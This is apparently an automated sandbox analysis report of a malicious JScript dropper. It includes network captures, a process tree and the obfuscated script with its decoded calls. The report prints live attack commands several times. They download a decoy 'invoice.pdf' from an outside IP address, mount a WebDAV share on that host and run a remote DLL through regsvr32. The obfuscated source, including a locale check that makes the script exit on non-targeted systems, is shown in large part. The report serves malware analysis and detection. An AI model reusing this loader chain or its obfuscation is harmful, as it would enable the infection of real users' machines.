20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:31:01.514585972 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:31:01.514600992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 23:31:01.514609098 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 23:31:01.514616013 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 23:31:01.514636993 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 23:31:01.514651060 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 23:31:01.514663935 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 23:31:01.514674902 CET	104	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?
Jan 10, 2025 23:31:01.514689922 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 23:31:01.519507885 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	7060	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:31:06.140477896 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:31:06.977375031 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:31:06 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	17:30:57
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\507722252877028578.js"
Imagebase:	0x7ff7176b0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:30:57
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Imagebase:	0x7ff70cb60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:30:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:30:57
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:31:02
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:31:03
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff70cb60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:31:04
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7e4d60000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:31:05
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:31:06
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:31:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2248 --field-trial-handle=1552,i,7908193975691399747,14507229890269203624,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function jeekzx() {	jeekzx() ➔ undefined
1	rnbzfztgt = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var jlrqbykm = this[njlsu + hnqtyk + qthyq + khvznvt + unzisnswp + jidlvgwe + xrdyytakg + reasmzu] ( this[myjanu + gkldbsr + ojjwujj + qthyq + afuepte + njlsu + reasmzu][srcvwgktd + qthyq + unzisnswp + hnqtyk + reasmzu + unzisnswp + oxeni + dqlvwm + zpydaf + unzisnswp + ojjwujj + reasmzu] ( myjanu + gkldbsr + ojjwujj + qthyq + afuepte + njlsu + reasmzu + pqtedlv + gkldbsr + qaxooq + unzisnswp + lnkwpgz + lnkwpgz ) [ijkofu + unzisnswp + zqvpmk + ijkofu + unzisnswp + hnqtyk + hbocb] ( lvhoixnw + sdcozx + oyctimzcy + fbcgibjee + kkzmel + srcvwgktd + btpendn + ijkofu + ijkofu + oyctimzcy + bykglrc + rtzvmhng + kkzmel + btpendn + gkldbsr + oyctimzcy + ijkofu + njefu + srcvwgktd + pymho + xrdyytakg + reasmzu + qthyq + pymho + lnkwpgz + mnzmrnas + cwxlicrx + hnqtyk + xrdyytakg + unzisnswp + lnkwpgz + njefu + jidlvgwe + xrdyytakg + reasmzu + unzisnswp + qthyq + xrdyytakg + hnqtyk + reasmzu + afuepte + pymho + xrdyytakg + hnqtyk + lnkwpgz + njefu + pzdvutp + pymho + ojjwujj + hnqtyk + lnkwpgz + unzisnswp ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( cjrobwo = 0 ; cjrobwo < rnbzfztgt[lnkwpgz + unzisnswp + xrdyytakg + zqvpmk + reasmzu + qaxooq] ; ++ cjrobwo )
4	{
5	if ( jlrqbykm == rnbzfztgt[cjrobwo] )
6	{
7	jlrqbykm = true;
8	break ;
9	}
10	}
11	if ( jlrqbykm !== true )
12	this[myjanu + gkldbsr + ojjwujj + qthyq + afuepte + njlsu + reasmzu][ahjetzhc + mudnp + afuepte + reasmzu] ( );
13	this[myjanu + gkldbsr + ojjwujj + qthyq + afuepte + njlsu + reasmzu][srcvwgktd + qthyq + unzisnswp + hnqtyk + reasmzu + unzisnswp + oxeni + dqlvwm + zpydaf + unzisnswp + ojjwujj + reasmzu] ( myjanu + gkldbsr + ojjwujj + qthyq + afuepte + njlsu + reasmzu + pqtedlv + gkldbsr + qaxooq + unzisnswp + lnkwpgz + lnkwpgz ) [qthyq + mudnp + xrdyytakg] ( ojjwujj + oojqy + hbocb + mnzmrnas + iwtpcq + ojjwujj + mnzmrnas + njlsu + pymho + pnvbi + unzisnswp + qthyq + khvznvt + qaxooq + unzisnswp + lnkwpgz + lnkwpgz + pqtedlv + unzisnswp + itonpptla + unzisnswp + mnzmrnas + yxojeqt + srcvwgktd + pymho + oojqy + oojqy + hnqtyk + xrdyytakg + hbocb + mnzmrnas + duvcklt + jidlvgwe + xrdyytakg + zfxqzn + pymho + qjospwwgv + unzisnswp + yxojeqt + myjanu + unzisnswp + dqlvwm + ijkofu + unzisnswp + oaqsz + mudnp + unzisnswp + khvznvt + reasmzu + mnzmrnas + yxojeqt + oxeni + mudnp + reasmzu + nufnrx + afuepte + lnkwpgz + unzisnswp + mnzmrnas + xyhianwm + reasmzu + unzisnswp + oojqy + njlsu + xyhianwm + njefu + afuepte + xrdyytakg + zfxqzn + pymho + afuepte + ojjwujj + unzisnswp + pqtedlv + njlsu + hbocb + hqsyqx + mnzmrnas + qaxooq + reasmzu + reasmzu + njlsu + ummmshsrt + iwtpcq + iwtpcq + dhcqtg + ttjhjd + heanbpxeu + pqtedlv + dhcqtg + zcazqru + heanbpxeu + pqtedlv + dhcqtg + pqtedlv + fzkvgvu + kakktk + bqylcd + iwtpcq + afuepte + xrdyytakg + zfxqzn + pymho + afuepte + ojjwujj + unzisnswp + pqtedlv + njlsu + qaxooq + njlsu + duvcklt + nshkghs + nshkghs + khvznvt + reasmzu + hnqtyk + qthyq + reasmzu + mnzmrnas + xyhianwm + reasmzu + unzisnswp + oojqy + njlsu + xyhianwm + njefu + afuepte + xrdyytakg + zfxqzn + pymho + afuepte + ojjwujj + unzisnswp + pqtedlv + njlsu + hbocb + hqsyqx + nshkghs + nshkghs + ojjwujj + oojqy + hbocb + mnzmrnas + iwtpcq + ojjwujj + mnzmrnas + xrdyytakg + unzisnswp + reasmzu + mnzmrnas + mudnp + khvznvt + unzisnswp + mnzmrnas + njefu + njefu + dhcqtg + ttjhjd + heanbpxeu + pqtedlv + dhcqtg + zcazqru + heanbpxeu + pqtedlv + dhcqtg + pqtedlv + fzkvgvu + kakktk + bqylcd + mqjxfduj + aqgsu + aqgsu + aqgsu + aqgsu + njefu + hbocb + hnqtyk + zfxqzn + pnvbi + pnvbi + pnvbi + qthyq + pymho + pymho + reasmzu + njefu + nshkghs + nshkghs + ojjwujj + oojqy + hbocb + mnzmrnas + iwtpcq + ojjwujj + mnzmrnas + qthyq + unzisnswp + zqvpmk + khvznvt + zfxqzn + qthyq + heanbpxeu + fzkvgvu + mnzmrnas + iwtpcq + khvznvt + mnzmrnas + njefu + njefu + dhcqtg + ttjhjd + heanbpxeu + pqtedlv + dhcqtg + zcazqru + heanbpxeu + pqtedlv + dhcqtg + pqtedlv + fzkvgvu + kakktk + bqylcd + mqjxfduj + aqgsu + aqgsu + aqgsu + aqgsu + njefu + hbocb + hnqtyk + zfxqzn + pnvbi + pnvbi + pnvbi + qthyq + pymho + pymho + reasmzu + njefu + fzkvgvu + bqylcd + kakktk + ookyk + kakktk + fzkvgvu + heanbpxeu + heanbpxeu + aqgsu + ookyk + ttjhjd + fzkvgvu + zcazqru + dhcqtg + pqtedlv + hbocb + lnkwpgz + lnkwpgz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll",0,false) ➔ 0
14	}
15	khvznvt = "y";
16	khvznvt = "q";
17	khvznvt = "o";
18	khvznvt = "l";
19	khvznvt = "d";
20	khvznvt = "s";
21	njlsu = "E";
22	njlsu = "x";
23	njlsu = "p";
24	hbocb = "e";
25	hbocb = "C";
26	hbocb = "c";
27	hbocb = "I";
28	hbocb = "M";
29	hbocb = "p";
30	hbocb = "X";
31	hbocb = "z";
32	hbocb = "L";
33	hbocb = "S";
34	hbocb = "u";
35	hbocb = "H";
36	hbocb = "D";
37	hbocb = "K";
38	hbocb = "o";
39	hbocb = "b";
40	hbocb = "V";
41	hbocb = "U";
42	hbocb = "G";
43	hbocb = "b";
44	hbocb = "q";
45	hbocb = "k";
46	hbocb = "H";
47	hbocb = "J";
48	hbocb = "d";
49	hbocb = "j";
50	hbocb = "F";
51	hbocb = "p";
52	hbocb = "C";
53	hbocb = "h";
54	hbocb = "H";
55	hbocb = "M";
56	hbocb = "v";
57	hbocb = "a";
58	hbocb = "s";
59	hbocb = "d";
60	afuepte = "M";
61	afuepte = "j";
62	afuepte = "H";
63	afuepte = "O";
64	afuepte = "q";
65	afuepte = "R";
66	afuepte = "y";
67	afuepte = "g";
68	afuepte = "L";
69	afuepte = "B";
70	afuepte = "i";
71	myjanu = "f";
72	myjanu = "F";
73	myjanu = "Q";
74	myjanu = "C";
75	myjanu = "U";
76	myjanu = "U";
77	myjanu = "S";
78	myjanu = "V";
79	myjanu = "m";
80	myjanu = "w";
81	myjanu = "O";
82	myjanu = "u";
83	myjanu = "e";
84	myjanu = "Y";
85	myjanu = "O";
86	myjanu = "G";
87	myjanu = "F";
88	myjanu = "N";
89	myjanu = "W";
90	myjanu = "i";
91	myjanu = "o";
92	myjanu = "H";
93	myjanu = "l";
94	myjanu = "c";
95	myjanu = "g";
96	myjanu = "u";
97	myjanu = "k";
98	myjanu = "u";
99	myjanu = "p";
100	myjanu = "j";
101	myjanu = "Z";
102	myjanu = "N";
103	myjanu = "Z";
104	myjanu = "G";
105	myjanu = "n";
106	myjanu = "Q";
107	myjanu = "d";
108	myjanu = "Q";
109	myjanu = "a";
110	myjanu = "A";
111	myjanu = "P";
112	myjanu = "y";
113	myjanu = "m";
114	myjanu = "A";
115	myjanu = "W";
116	lnkwpgz = "I";
117	lnkwpgz = "v";
118	lnkwpgz = "Q";
119	lnkwpgz = "O";
120	lnkwpgz = "j";
121	lnkwpgz = "l";
122	itonpptla = "C";
123	itonpptla = "E";
124	itonpptla = "b";
125	itonpptla = "I";
126	itonpptla = "B";
127	itonpptla = "q";
128	itonpptla = "H";
129	itonpptla = "x";
130	xyhianwm = "a";
131	xyhianwm = "i";
132	xyhianwm = "L";
133	xyhianwm = "L";
134	xyhianwm = "I";
135	xyhianwm = "Q";
136	xyhianwm = "q";
137	xyhianwm = "N";
138	xyhianwm = "t";
139	xyhianwm = "u";
140	xyhianwm = "t";
141	xyhianwm = "T";
142	xyhianwm = "G";
143	xyhianwm = "T";
144	xyhianwm = "a";
145	xyhianwm = "o";
146	xyhianwm = "B";
147	xyhianwm = "M";
148	xyhianwm = "s";
149	xyhianwm = "F";
150	xyhianwm = "a";
151	xyhianwm = "U";
152	xyhianwm = "f";
153	xyhianwm = "w";
154	xyhianwm = "X";
155	xyhianwm = "M";
156	xyhianwm = "X";
157	xyhianwm = "O";
158	xyhianwm = "k";
159	xyhianwm = "d";
160	xyhianwm = "F";
161	xyhianwm = "A";
162	xyhianwm = "q";
163	xyhianwm = "e";
164	xyhianwm = "n";
165	xyhianwm = "t";
166	xyhianwm = "E";
167	xyhianwm = "m";
168	xyhianwm = "K";
169	xyhianwm = "H";
170	xyhianwm = "q";
171	xyhianwm = "U";
172	xyhianwm = "%";
173	qaxooq = "m";
174	qaxooq = "p";
175	qaxooq = "Q";
176	qaxooq = "Q";
177	qaxooq = "g";
178	qaxooq = "J";
179	qaxooq = "a";
180	qaxooq = "Q";
181	qaxooq = "a";
182	qaxooq = "b";
183	qaxooq = "O";
184	qaxooq = "o";
185	qaxooq = "Q";
186	qaxooq = "i";
187	qaxooq = "H";
188	qaxooq = "T";
189	qaxooq = "a";
190	qaxooq = "v";
191	qaxooq = "W";
192	qaxooq = "t";
193	qaxooq = "P";
194	qaxooq = "j";
195	qaxooq = "y";
196	qaxooq = "O";
197	qaxooq = "f";
198	qaxooq = "t";
199	qaxooq = "E";
200	qaxooq = "z";
201	qaxooq = "r";
202	qaxooq = "C";
203	qaxooq = "y";
204	qaxooq = "h";
205	oyctimzcy = "v";
206	oyctimzcy = "U";
207	oyctimzcy = "g";
208	oyctimzcy = "B";
209	oyctimzcy = "E";
210	fbcgibjee = "O";
211	fbcgibjee = "X";
212	fbcgibjee = "U";
213	fbcgibjee = "k";
214	fbcgibjee = "l";
215	fbcgibjee = "T";
216	fbcgibjee = "S";
217	fbcgibjee = "w";
218	fbcgibjee = "N";
219	fbcgibjee = "C";
220	fbcgibjee = "A";
221	fbcgibjee = "h";
222	fbcgibjee = "U";
223	fbcgibjee = "k";
224	fbcgibjee = "n";
225	fbcgibjee = "T";
226	fbcgibjee = "Q";
227	fbcgibjee = "A";
228	fbcgibjee = "I";
229	fbcgibjee = "B";
230	fbcgibjee = "u";
231	fbcgibjee = "Y";
232	fbcgibjee = "u";
233	fbcgibjee = "T";
234	fbcgibjee = "G";
235	fbcgibjee = "v";
236	fbcgibjee = "t";
237	fbcgibjee = "K";
238	fbcgibjee = "q";
239	fbcgibjee = "m";
240	fbcgibjee = "l";
241	fbcgibjee = "N";
242	fbcgibjee = "T";
243	fbcgibjee = "V";
244	fbcgibjee = "u";
245	fbcgibjee = "a";
246	fbcgibjee = "m";
247	fbcgibjee = "q";
248	fbcgibjee = "y";
249	fbcgibjee = "R";
250	fbcgibjee = "A";
251	fbcgibjee = "h";
252	fbcgibjee = "Y";
253	ojjwujj = "u";
254	ojjwujj = "q";
255	ojjwujj = "m";
256	ojjwujj = "G";
257	ojjwujj = "k";
258	ojjwujj = "x";
259	ojjwujj = "R";
260	ojjwujj = "r";
261	ojjwujj = "o";
262	ojjwujj = "W";
263	ojjwujj = "P";
264	ojjwujj = "A";
265	ojjwujj = "F";
266	ojjwujj = "P";
267	ojjwujj = "i";
268	ojjwujj = "k";
269	ojjwujj = "Q";
270	ojjwujj = "E";
271	ojjwujj = "c";
272	ttjhjd = "R";
273	ttjhjd = "T";
274	ttjhjd = "I";
275	ttjhjd = "r";
276	ttjhjd = "f";
277	ttjhjd = "o";
278	ttjhjd = "g";
279	ttjhjd = "R";
280	ttjhjd = "t";
281	ttjhjd = "g";
282	ttjhjd = "M";
283	ttjhjd = "9";
284	hnqtyk = "A";
285	hnqtyk = "b";
286	hnqtyk = "L";
287	hnqtyk = "d";
288	hnqtyk = "H";
289	hnqtyk = "X";
290	hnqtyk = "o";
291	hnqtyk = "X";
292	hnqtyk = "A";
293	hnqtyk = "n";
294	hnqtyk = "I";
295	hnqtyk = "p";
296	hnqtyk = "K";
297	hnqtyk = "C";
298	hnqtyk = "q";
299	hnqtyk = "I";
300	hnqtyk = "G";
301	hnqtyk = "j";
302	hnqtyk = "F";
303	hnqtyk = "m";
304	hnqtyk = "y";
305	hnqtyk = "w";
306	hnqtyk = "Y";
307	hnqtyk = "g";
308	hnqtyk = "q";
309	hnqtyk = "l";
310	hnqtyk = "L";
311	hnqtyk = "F";
312	hnqtyk = "j";
313	hnqtyk = "n";
314	hnqtyk = "y";
315	hnqtyk = "M";
316	hnqtyk = "i";
317	hnqtyk = "a";
318	pqtedlv = "T";
319	pqtedlv = "l";
320	pqtedlv = "J";
321	pqtedlv = "l";
322	pqtedlv = "r";
323	pqtedlv = "f";
324	pqtedlv = "L";
325	pqtedlv = "A";
326	pqtedlv = "S";
327	pqtedlv = "t";
328	pqtedlv = "Y";
329	pqtedlv = "b";
330	pqtedlv = "X";
331	pqtedlv = "H";
332	pqtedlv = "r";
333	pqtedlv = "q";
334	pqtedlv = "D";
335	pqtedlv = "O";
336	pqtedlv = "G";
337	pqtedlv = "k";
338	pqtedlv = "R";
339	pqtedlv = "B";
340	pqtedlv = "m";
341	pqtedlv = "Q";
342	pqtedlv = "y";
343	pqtedlv = "a";
344	pqtedlv = "D";
345	pqtedlv = "E";
346	pqtedlv = ".";
347	gkldbsr = "s";
348	gkldbsr = "U";
349	gkldbsr = "H";
350	gkldbsr = "O";
351	gkldbsr = "G";
352	gkldbsr = "Z";
353	gkldbsr = "J";
354	gkldbsr = "S";
355	iwtpcq = "i";
356	iwtpcq = "I";
357	iwtpcq = "K";
358	iwtpcq = "f";
359	iwtpcq = "k";
360	iwtpcq = "T";
361	iwtpcq = "c";
362	iwtpcq = "R";
363	iwtpcq = "n";
364	iwtpcq = "i";
365	iwtpcq = "z";
366	iwtpcq = "w";
367	iwtpcq = "b";
368	iwtpcq = "n";
369	iwtpcq = "b";
370	iwtpcq = "j";
371	iwtpcq = "l";
372	iwtpcq = "y";
373	iwtpcq = "H";
374	iwtpcq = "U";
375	iwtpcq = "S";
376	iwtpcq = "n";
377	iwtpcq = "v";
378	iwtpcq = "/";
379	ookyk = "a";
380	ookyk = "W";
381	ookyk = "o";
382	ookyk = "r";
383	ookyk = "b";
384	ookyk = "u";
385	ookyk = "g";
386	ookyk = "g";
387	ookyk = "6";
388	pnvbi = "P";
389	pnvbi = "V";
390	pnvbi = "T";
